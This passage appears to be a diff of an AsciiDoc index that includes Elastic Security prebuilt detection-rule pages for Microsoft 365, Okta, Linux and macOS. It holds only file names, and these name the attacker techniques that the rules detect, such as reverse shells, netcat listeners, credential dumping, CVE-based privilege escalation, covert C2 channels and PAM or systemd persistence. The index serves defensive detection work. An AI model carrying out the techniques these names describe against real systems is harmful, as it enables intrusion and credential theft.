+include::prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-created.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-mail-flow-transport-rule-modified.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-m365-security-compliance-potential-ransomware-activity.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-login-from-atypical-travel-location.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc[] +include::prebuilt-rule-8-19-20-m365-identity-global-administrator-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-management-group-role-assigned.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-mailbox-high-risk-permission-delegated.asciidoc[] +include::prebuilt-rule-8-19-20-deprecated-m365-teams-guest-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-20-m365-exchange-federated-domain-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-20-attempts-to-brute-force-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-20-multiple-okta-user-auth-events-with-same-device-token-hash-behind-a-proxy.asciidoc[] +include::prebuilt-rule-8-19-20-multiple-device-token-hashes-for-single-okta-session.asciidoc[] +include::prebuilt-rule-8-19-20-okta-aitm-session-cookie-replay.asciidoc[] +include::prebuilt-rule-8-19-20-multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc[] +include::prebuilt-rule-8-19-20-potential-okta-brute-force-device-token-rotation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-20-potentially-successful-okta-mfa-bombing-via-push-notifications.asciidoc[] +include::prebuilt-rule-8-19-20-okta-user-session-impersonation.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-20-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-deactivate-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-delete-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-modify-an-okta-network-zone.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-modify-an-okta-policy-rule.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-okta-user-password-reset-or-unlock-attempts.asciidoc[] +include::prebuilt-rule-8-19-20-possible-okta-dos-attack.asciidoc[] +include::prebuilt-rule-8-19-20-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc[] +include::prebuilt-rule-8-19-20-okta-fastpass-phishing-detection.asciidoc[] +include::prebuilt-rule-8-19-20-unauthorized-access-to-an-okta-application.asciidoc[] +include::prebuilt-rule-8-19-20-okta-sign-in-events-via-third-party-idp.asciidoc[] +include::prebuilt-rule-8-19-20-successful-application-sso-from-rare-unknown-client-device.asciidoc[] +include::prebuilt-rule-8-19-20-administrator-privileges-assigned-to-an-okta-group.asciidoc[] +include::prebuilt-rule-8-19-20-okta-user-assigned-administrator-role.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-create-okta-api-token.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-reset-mfa-factors-for-an-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-20-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc[] +include::prebuilt-rule-8-19-20-new-okta-identity-provider-idp-added-by-admin.asciidoc[] +include::prebuilt-rule-8-19-20-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-privileged-command-execution-by-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-high-command-line-entropy-detected-for-privileged-commands.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-detected-for-privileged-commands-by-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-spike-in-concurrent-active-sessions-by-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-host-name-for-okta-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-region-name-for-okta-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-source-ip-for-okta-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-group-application-assignment-change-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-group-lifecycle-change-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-group-membership-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-group-privilege-change-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-user-lifecycle-management-change-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-group-management-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-special-logon-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-special-privilege-use-events.asciidoc[] +include::prebuilt-rule-8-19-20-spike-in-user-account-management-events.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-host-name-for-windows-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-group-name-accessed-by-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-privilege-type-assigned-to-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-region-name-for-windows-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-source-ip-for-windows-privileged-operations-detected.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-spawned-by-a-parent-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-spawned-by-a-user.asciidoc[] +include::prebuilt-rule-8-19-20-host-detected-with-suspicious-windows-process-es.asciidoc[] +include::prebuilt-rule-8-19-20-parent-process-detected-with-suspicious-windows-process-es.asciidoc[] +include::prebuilt-rule-8-19-20-user-detected-with-suspicious-windows-process-es.asciidoc[] +include::prebuilt-rule-8-19-20-aws-cli-command-with-custom-endpoint-url.asciidoc[] +include::prebuilt-rule-8-19-20-network-activity-detected-via-cat.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-by-cups-or-foomatic-rip-child.asciidoc[] +include::prebuilt-rule-8-19-20-curl-socks-proxy-activity-from-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-egress-network-connections-from-unusual-executable.asciidoc[] +include::prebuilt-rule-8-19-20-git-repository-or-file-download-to-suspicious-directory.asciidoc[] +include::prebuilt-rule-8-19-20-ipv4-ipv6-forwarding-activity.asciidoc[] +include::prebuilt-rule-8-19-20-potential-protocol-tunneling-via-chisel-client.asciidoc[] +include::prebuilt-rule-8-19-20-network-activity-detected-via-kworker.asciidoc[] +include::prebuilt-rule-8-19-20-proxychains-activity.asciidoc[] +include::prebuilt-rule-8-19-20-linux-ssh-x11-forwarding.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-utility-launched-via-proxychains.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-20-linux-telegram-api-request.asciidoc[] +include::prebuilt-rule-8-19-20-potential-protocol-tunneling-via-earthworm.asciidoc[] +include::prebuilt-rule-8-19-20-aws-credentials-searched-for-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-sensitive-files-compression.asciidoc[] +include::prebuilt-rule-8-19-20-sensitive-files-compression-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-unshadow.asciidoc[] +include::prebuilt-rule-8-19-20-linux-init-pid-1-secret-dump-via-gdb.asciidoc[] +include::prebuilt-rule-8-19-20-linux-process-hooking-via-gdb.asciidoc[] +include::prebuilt-rule-8-19-20-github-authentication-token-access-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-20-kubernetes-service-account-secret-access.asciidoc[] +include::prebuilt-rule-8-19-20-manual-memory-dumping-via-proc-filesystem.asciidoc[] +include::prebuilt-rule-8-19-20-potential-internal-linux-ssh-brute-force-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-successful-ssh-brute-force-attack.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-proc-filesystem.asciidoc[] +include::prebuilt-rule-8-19-20-sensitive-keys-or-passwords-searched-for-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-potential-openssh-backdoor-logging-activity.asciidoc[] +include::prebuilt-rule-8-19-20-potential-ssh-password-grabbing-via-strace.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-instance-metadata-service-imds-api-request.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-disable-auditd-service.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-disable-iptables-or-firewall.asciidoc[] +include::prebuilt-rule-8-19-20-attempt-to-disable-syslog-service.asciidoc[] +include::prebuilt-rule-8-19-20-ssh-authorized-keys-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-base16-or-base32-encoding-decoding-activity.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-base64-encoding-decoding-activity.asciidoc[] +include::prebuilt-rule-8-19-20-bpf-program-tampering-via-bpftool.asciidoc[] +include::prebuilt-rule-8-19-20-curl-or-wget-egress-network-connection-via-lolbin.asciidoc[] +include::prebuilt-rule-8-19-20-directory-creation-in-bin-directory.asciidoc[] +include::prebuilt-rule-8-19-20-potential-defense-evasion-via-doas.asciidoc[] +include::prebuilt-rule-8-19-20-dynamic-linker-creation.asciidoc[] +include::prebuilt-rule-8-19-20-file-deletion-via-shred.asciidoc[] +include::prebuilt-rule-8-19-20-file-permission-modification-in-writable-directory.asciidoc[] +include::prebuilt-rule-8-19-20-potential-hex-payload-execution-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-potential-hex-payload-execution-via-common-utility.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-interactive-shell-launched-from-system-user.asciidoc[] +include::prebuilt-rule-8-19-20-base64-decoded-payload-piped-to-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-kill-command-execution.asciidoc[] +include::prebuilt-rule-8-19-20-executable-masquerading-as-kernel-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-ld-preload-ld-library-path-command-line-arguments.asciidoc[] +include::prebuilt-rule-8-19-20-dynamic-linker-ld-so-creation.asciidoc[] +include::prebuilt-rule-8-19-20-system-log-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-potential-hidden-process-via-mount-hidepid.asciidoc[] +include::prebuilt-rule-8-19-20-multi-base64-decoding-attempt-from-suspicious-location.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-renaming-of-esxi-files.asciidoc[] +include::prebuilt-rule-8-19-20-potentially-suspicious-process-started-via-tmux-or-screen.asciidoc[] +include::prebuilt-rule-8-19-20-system-binary-symlink-to-suspicious-location.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-kernel-feature-activity.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-preload-environment-variable-process-execution.asciidoc[] +include::prebuilt-rule-8-19-20-linux-user-or-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-20-file-creation-in-var-log-via-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-dynamic-linker-discovery-via-od.asciidoc[] +include::prebuilt-rule-8-19-20-esxi-discovery-via-find.asciidoc[] +include::prebuilt-rule-8-19-20-esxi-discovery-via-grep.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-kernel-module-enumeration.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-seeking-activity.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-unpacking-activity.asciidoc[] +include::prebuilt-rule-8-19-20-hping-process-activity.asciidoc[] +include::prebuilt-rule-8-19-20-nping-process-activity.asciidoc[] +include::prebuilt-rule-8-19-20-manual-mount-discovery-via-etc-exports-or-etc-fstab.asciidoc[] +include::prebuilt-rule-8-19-20-pluggable-authentication-module-pam-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-20-potential-network-scan-executed-from-host.asciidoc[] +include::prebuilt-rule-8-19-20-polkit-version-discovery.asciidoc[] +include::prebuilt-rule-8-19-20-private-key-searching-activity.asciidoc[] +include::prebuilt-rule-8-19-20-process-capability-enumeration.asciidoc[] +include::prebuilt-rule-8-19-20-security-file-access-via-common-utilities.asciidoc[] +include::prebuilt-rule-8-19-20-potential-subnet-scanning-activity-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-20-sudo-command-enumeration-detected.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-memory-grep-activity.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-network-tool-launched-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-which-enumeration.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-user-privilege-enumeration-via-id.asciidoc[] +include::prebuilt-rule-8-19-20-virtual-machine-fingerprinting.asciidoc[] +include::prebuilt-rule-8-19-20-yum-dnf-plugin-status-discovery.asciidoc[] +include::prebuilt-rule-8-19-20-abnormal-process-id-or-lock-file-created.asciidoc[] +include::prebuilt-rule-8-19-20-container-management-utility-run-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-file-creation-by-cups-or-foomatic-rip-child.asciidoc[] +include::prebuilt-rule-8-19-20-printer-user-lp-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-20-cupsd-or-foomatic-rip-shell-execution.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-execution-from-foomatic-rip-or-cupsd-parent.asciidoc[] +include::prebuilt-rule-8-19-20-egress-connection-from-entrypoint-in-container.asciidoc[] +include::prebuilt-rule-8-19-20-process-started-with-executable-stack.asciidoc[] +include::prebuilt-rule-8-19-20-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-file-transfer-or-listener-established-via-netcat.asciidoc[] +include::prebuilt-rule-8-19-20-netcat-listener-established-via-rlwrap.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-from-binary-with-rwx-memory-region.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-via-recently-compiled-executable.asciidoc[] +include::prebuilt-rule-8-19-20-interactive-terminal-spawned-via-perl.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-hack-tool-launched.asciidoc[] +include::prebuilt-rule-8-19-20-privileged-docker-container-creation.asciidoc[] +include::prebuilt-rule-8-19-20-process-backgrounded-by-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-20-process-started-from-process-id-pid-file.asciidoc[] +include::prebuilt-rule-8-19-20-binary-executed-from-shared-memory-directory.asciidoc[] +include::prebuilt-rule-8-19-20-interactive-terminal-spawned-via-python.asciidoc[] +include::prebuilt-rule-8-19-20-potential-code-execution-via-postgresql.asciidoc[] +include::prebuilt-rule-8-19-20-linux-restricted-shell-breakout-via-linux-binary-s.asciidoc[] +include::prebuilt-rule-8-19-20-openssl-client-or-server-activity.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-via-background-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-via-child.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-potential-meterpreter-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-via-suspicious-binary.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell.asciidoc[] +include::prebuilt-rule-8-19-20-potential-reverse-shell-via-udp.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-mining-process-creation-event.asciidoc[] +include::prebuilt-rule-8-19-20-pod-or-container-creation-with-suspicious-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-system-binary-path-file-permission-modification.asciidoc[] +include::prebuilt-rule-8-19-20-bpf-filter-applied-using-tc.asciidoc[] +include::prebuilt-rule-8-19-20-unknown-execution-of-binary-with-rwx-memory-region.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-path-invocation-from-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-pkexec-execution.asciidoc[] +include::prebuilt-rule-8-19-20-potential-data-splitting-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-database-dumping-activity.asciidoc[] +include::prebuilt-rule-8-19-20-potential-data-exfiltration-through-wget.asciidoc[] +include::prebuilt-rule-8-19-20-file-transfer-utility-launched-from-unusual-parent.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-data-encryption-via-openssl-utility.asciidoc[] +include::prebuilt-rule-8-19-20-memory-swap-modification.asciidoc[] +include::prebuilt-rule-8-19-20-potential-malware-driven-ssh-brute-force-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-high-number-of-process-terminations.asciidoc[] +include::prebuilt-rule-8-19-20-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc[] +include::prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ssh-public-key.asciidoc[] +include::prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-ip-address.asciidoc[] +include::prebuilt-rule-8-19-20-successful-ssh-authentication-from-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-20-telnet-authentication-bypass-via-user-environment-variable.asciidoc[] +include::prebuilt-rule-8-19-20-potential-telnet-authentication-bypass-cve-2026-24061.asciidoc[] +include::prebuilt-rule-8-19-20-remote-file-creation-in-world-writeable-directory.asciidoc[] +include::prebuilt-rule-8-19-20-potential-thc-tool-downloaded.asciidoc[] +include::prebuilt-rule-8-19-20-connection-to-external-network-via-telnet.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-remote-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-apt-package-manager-execution.asciidoc[] +include::prebuilt-rule-8-19-20-apt-package-manager-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-apt-package-manager-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-bpf-program-or-map-load-via-bpftool.asciidoc[] +include::prebuilt-rule-8-19-20-chkconfig-service-add.asciidoc[] +include::prebuilt-rule-8-19-20-renaming-of-openssh-binaries.asciidoc[] +include::prebuilt-rule-8-19-20-d-bus-service-created.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-d-bus-daemon-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-dnf-package-manager-plugin-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-dpkg-package-installed-by-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-dpkg-execution.asciidoc[] +include::prebuilt-rule-8-19-20-dracut-module-creation.asciidoc[] +include::prebuilt-rule-8-19-20-dynamic-linker-copy.asciidoc[] +include::prebuilt-rule-8-19-20-git-hook-command-execution.asciidoc[] +include::prebuilt-rule-8-19-20-git-hook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-20-git-hook-egress-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-git-hook-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-grub-configuration-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-grub-configuration-generation-through-built-in-utilities.asciidoc[] +include::prebuilt-rule-8-19-20-system-v-init-script-created.asciidoc[] +include::prebuilt-rule-8-19-20-kde-autostart-script-or-desktop-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-driver-load.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-driver-load-by-non-root-user.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-module-load-from-unusual-location.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-object-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-file-creation-via-kworker.asciidoc[] +include::prebuilt-rule-8-19-20-potential-linux-backdoor-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-20-linux-group-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-child-execution-via-web-server.asciidoc[] +include::prebuilt-rule-8-19-20-linux-user-added-to-privileged-group.asciidoc[] +include::prebuilt-rule-8-19-20-manual-dracut-execution.asciidoc[] +include::prebuilt-rule-8-19-20-message-of-the-day-motd-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-process-spawned-from-message-of-the-day-motd.asciidoc[] +include::prebuilt-rule-8-19-20-networkmanager-dispatcher-script-creation.asciidoc[] +include::prebuilt-rule-8-19-20-openssl-password-hash-generation.asciidoc[] +include::prebuilt-rule-8-19-20-pluggable-authentication-module-or-configuration-creation.asciidoc[] +include::prebuilt-rule-8-19-20-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc[] +include::prebuilt-rule-8-19-20-potential-backdoor-execution-through-pam-exec.asciidoc[] +include::prebuilt-rule-8-19-20-pluggable-authentication-module-pam-source-download.asciidoc[] +include::prebuilt-rule-8-19-20-polkit-policy-creation.asciidoc[] +include::prebuilt-rule-8-19-20-executable-bit-set-for-potential-persistence-script.asciidoc[] +include::prebuilt-rule-8-19-20-process-capability-set-via-setcap-utility.asciidoc[] +include::prebuilt-rule-8-19-20-python-path-file-pth-creation.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-rc-local-error-message.asciidoc[] +include::prebuilt-rule-8-19-20-potential-execution-of-rc-local-script.asciidoc[] +include::prebuilt-rule-8-19-20-rc-local-rc-common-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-setcap-setuid-setgid-capability-set.asciidoc[] +include::prebuilt-rule-8-19-20-shadow-file-modification-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-20-shared-object-created-by-previously-unknown-process.asciidoc[] +include::prebuilt-rule-8-19-20-shell-configuration-creation.asciidoc[] +include::prebuilt-rule-8-19-20-simple-http-web-server-connection.asciidoc[] +include::prebuilt-rule-8-19-20-simple-http-web-server-creation.asciidoc[] +include::prebuilt-rule-8-19-20-python-site-or-user-customize-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-initiated-by-suspicious-sshd-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-login-via-system-user.asciidoc[] +include::prebuilt-rule-8-19-20-potential-suspicious-file-edit.asciidoc[] +include::prebuilt-rule-8-19-20-potential-execution-via-ssh-backdoor.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-generator-created.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-network-connection-via-systemd.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-timer-created.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-service-created.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-service-started-by-unusual-parent-process.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-shell-execution-during-boot.asciidoc[] +include::prebuilt-rule-8-19-20-tainted-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-20-tainted-out-of-tree-kernel-module-load.asciidoc[] +include::prebuilt-rule-8-19-20-systemd-udevd-rule-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-initramfs-unpacking-via-unmkinitramfs.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-exim4-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-authentication-via-unusual-pam-grantor.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-sshd-child-process.asciidoc[] +include::prebuilt-rule-8-19-20-linux-user-account-credential-modification.asciidoc[] +include::prebuilt-rule-8-19-20-user-or-group-creation-modification.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-process-spawned-from-web-server-parent.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-command-execution-from-web-server-parent.asciidoc[] +include::prebuilt-rule-8-19-20-uncommon-destination-port-connection-by-web-server.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-web-server-command-execution.asciidoc[] +include::prebuilt-rule-8-19-20-network-connections-initiated-through-xdg-autostart-entry.asciidoc[] +include::prebuilt-rule-8-19-20-yum-package-manager-plugin-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-container-misconfiguration.asciidoc[] +include::prebuilt-rule-8-19-20-potential-cve-2025-32463-nsswitch-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-potential-cve-2025-41244-vmtoolsd-lpe-exploitation-attempt.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-linux-dac-permissions.asciidoc[] +include::prebuilt-rule-8-19-20-file-system-debugger-launched-inside-a-container.asciidoc[] +include::prebuilt-rule-8-19-20-docker-release-file-creation.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-enlightenment.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-gdb-cap-sys-ptrace.asciidoc[] +include::prebuilt-rule-8-19-20-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-kworker-uid-elevation.asciidoc[] +include::prebuilt-rule-8-19-20-modification-of-dynamic-linker-preload-shared-object.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-symbolic-link-created.asciidoc[] +include::prebuilt-rule-8-19-20-kernel-load-or-unload-via-kexec-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-cve-2023-4911.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-overlayfs.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-pkexec.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-suid-sgid.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc[] +include::prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.asciidoc[] +include::prebuilt-rule-8-19-20-potential-suspicious-debugfs-root-device-access.asciidoc[] +include::prebuilt-rule-8-19-20-potential-snap-confine-privilege-escalation-via-cve-2026-3888.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sudo-privilege-escalation-via-cve-2019-14287.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sudo-hijacking.asciidoc[] +include::prebuilt-rule-8-19-20-potential-sudo-token-manipulation-via-process-injection.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-python-cap-setuid.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-passwd-file-event-action.asciidoc[] +include::prebuilt-rule-8-19-20-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-via-recently-compiled-executable.asciidoc[] +include::prebuilt-rule-8-19-20-uid-elevation-from-previously-unknown-executable.asciidoc[] +include::prebuilt-rule-8-19-20-namespace-manipulation-using-unshare.asciidoc[] +include::prebuilt-rule-8-19-20-potential-privilege-escalation-through-writable-docker-socket.asciidoc[] +include::prebuilt-rule-8-19-20-discovery-command-output-written-to-suspicious-file.asciidoc[] +include::prebuilt-rule-8-19-20-sensitive-file-access-followed-by-compression.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-aws-s3-connection-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-google-calendar-c2-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-network-connection-to-oast-domain-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-20-perl-outbound-network-connection.asciidoc[] +include::prebuilt-rule-8-19-20-potential-etherhiding-c2-via-blockchain-connection.asciidoc[] +include::prebuilt-rule-8-19-20-script-interpreter-connection-to-non-standard-port.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-curl-from-macos-application.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-curl-to-google-app-script-endpoint.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc[] +include::prebuilt-rule-8-19-20-unusual-network-connection-to-suspicious-web-service.asciidoc[] +include::prebuilt-rule-8-19-20-dumping-account-hashes-via-built-in-commands.asciidoc[] +include::prebuilt-rule-8-19-20-suspicious-pbpaste-high-volume-activity.asciidoc[] +include::prebuilt-rule-8-19-20-kerberos-cached-credentials-dumping.asciidoc[] +include::prebuilt-rule-8-19-20-keychain-password-retrieval-via-command-line.asciidoc[] +include::prebuilt-rule-8-19-20-webproxy-settings-modification.asciidoc[] +include::prebuilt-rule-8-19-20-potential-macos-ssh-brute-force-detected.asciidoc[] 